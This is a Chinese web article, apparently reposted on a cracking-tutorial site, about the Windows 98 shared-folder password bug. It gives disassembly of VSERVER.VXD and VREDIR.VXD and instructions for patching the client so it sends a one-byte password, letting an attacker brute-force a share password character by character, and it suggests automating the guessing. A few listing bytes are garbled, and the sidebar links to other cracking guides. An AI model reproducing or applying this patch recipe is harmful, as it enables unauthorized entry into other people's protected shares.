WINDOWS98的共享目录密码校验有BUG。下面是文件VSERVER。VXD中密码校验过程调用的有BUG的一段程序。
3647是判断客户端密码是不是输入没密码,这时密码项内容是0X20,空格。不是就转 LOC-0444。365A判断客户端通过网络通信发过来的加密后密码长度是0X18吗,一般都是。这转LOC-0447去把共享目录密码加密同网络通信过来的密码比较,通过TEST EAX,EAX设置ZF标记判断密码对不对。如果密码长度不是0X18,可能是别的什么方式的密码比较,这儿密码是明码没加密。再判断密码长度大于9不,共享密码长度是1-8个字母数字等。下面就是比较密码,后面的循环是以ECX密码长度和ZF标记为结束条件。显然这儿应该有BUG,这密码长度ECX应该是本声密码的长度,而这儿密码长度是网络通信发过来的数据。所以我发过来的数据是1就只比较了一个密码的最前面字节。如果这一字节对就ZF=0因ECX=0退出结果是校验密码成功。
03647 loc_0442: ; xref 03635
03647 66| 83 3A 20 cmp word ptr [edx],20h ;THE SHARE PASSWORD
0364B 75 0D jne short loc_0444 ; Jump if not equal
0364D B8 08460002 mov eax,8460002h
03652 F9 stc ; Set carry flag
03653 C9 leave ; Procedure exit
03654 C3 retn
03655 loc_0443: ; xref 03640, 3645
03655 80 3F 00 cmp byte ptr [edi],0
03658 74 26 je short loc_0446; Jump if equal
0365A loc_0444: ; xref 0364B
0365A 83 F9 18 cmp ecx,18h ; THIS HAS BUG FOUND BY YRG 1999.1.15
0365D 74 24 je short loc_0447 ; Jump if equal
0365F 83 F9 09 cmp ecx,9
03662 77 1C ja short loc_0446 ; Jump if above
03664 F5 cmc ; Complement carry
03665 83 D9 00 sbb ecx,0
03668 51 push ecx
03669 53 push ebx
0366A 8B 1D 000137F4 mov ebx,dword ptr data_0461 ; (137F4=137FCh)
03670 8B F2 mov esi,edx
03672 2B C0 sub eax,eax
03674 4F dec edi
03675 locloop_0445: ; xref 0367C
03675 47 inc edi
03676 AC lodsb ; String [si] to al
03677 8A 04 18 mov al,[eax][ebx]
0367A 3A 07 cmp al,[edi] ;BUG !!! I CAN SET ECX=1
0367C E1 F7 loopdz locloop_0445 ; Loop if zf=1, ecx>0
0367E 5B pop ebx
0367F 59 pop ecx
03680 loc_0446: ; xref 03658, 3662, 36A1
03680 鶩8 clc ; Clear carry flag
03681 C9 leave ; Procedure exit
03682 C3 retn
03683 loc_0447: ; xref 0365D
03683 81 EC 000000E4 sub esp,0E4h
03689 8B C4 mov eax,esp
0368B 60 pushad ; Save all regs
0368C ?2 push edx ; PARAMETER_4
0368D 50 push eax ; PARAMETER_3
0368E 8B 45 08 mov eax,dword ptr [ebp+PARAMETER_1]
03691 8B 40 24 mov eax,dword ptr [eax+24h]
03694 50 push eax ; PARAMETER_2
03695 57 push edi ; PARAMETER_1
03696 E8 000036A1 call sub_0054 ; (06D3C)
0369B 83 C4 10 add esp,10h
0369E 85 C0 test eax,eax
036A0 61 popad ; Restore all regs
036A1 EB DD jmp short loc_0446
好了,那就找客户端发密码的代码。下面是VREDIR。VXD的这段相关代码。
15FCE的18H就是前面的那比较18H的。这儿改成可以1。CALL SUB-0067是加密输入的密码的过程调用。15FEA 的
EDX是指向输入的密码的指针。所以15FE9可以改成MOV AL,[EDX],
MOV [ECX],AL
JMP 15FF4
就可以。这样进入有密码的共享目录就可以用字母A-Z,数字0-9等试会很快的进入目录的。当然最好那儿自动
这么变化那AL,免得每次还要输入可以加快速度。
15FC8 8B 4D EC mov ecx,dword ptr [ebp-14h]
15FCB 8B 55 F4 mov edx,dword ptr [ebp-0Ch]
15FCE 66| C7 41 07 0018 mov word ptr [ecx+7],18h; PASSWORD LONG
15FD4 83 C1 07 add ecx,7
15FD7 83 C2 35 add edx,35h
15FDA 8B 45 F8 mov eax,dword ptr [ebp-8]
15FDD 83 C0 6C add eax,6Ch
15FE0 89 4D F0 mov dword ptr [ebp-10h],ecx
15FE3 8B 4D EC mov ecx,dword ptr [ebp-14h]
15FE6 83 C1 0B add ecx,0Bh
15FE9 51 push ecx ;LOCKED PASSWORD SET HERE
15FEA 52 push edx ;PASSWORD POINTER
15FEB 50 push eax
15FEC E8 FFFF0EC5 call sub_0067 ; LOCK THE PASSWORD ; (06EB6)
15FF1 83 C4 0C add esp,0Ch
15FF4 EB 71 jmp short loc_1765
相关视频
相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
热门文章 去除winrar注册框方法
最新文章
比特币病毒怎么破解 比去除winrar注册框方法
华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)通过Access破解MSSQL获得数据
人气排行 华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)qq相册密码破解方法去除winrar注册框方法(适应任何版本)怎么用手机破解收费游戏华为无线猫HG522破解如何给软件脱壳基础教程
查看所有0条评论>>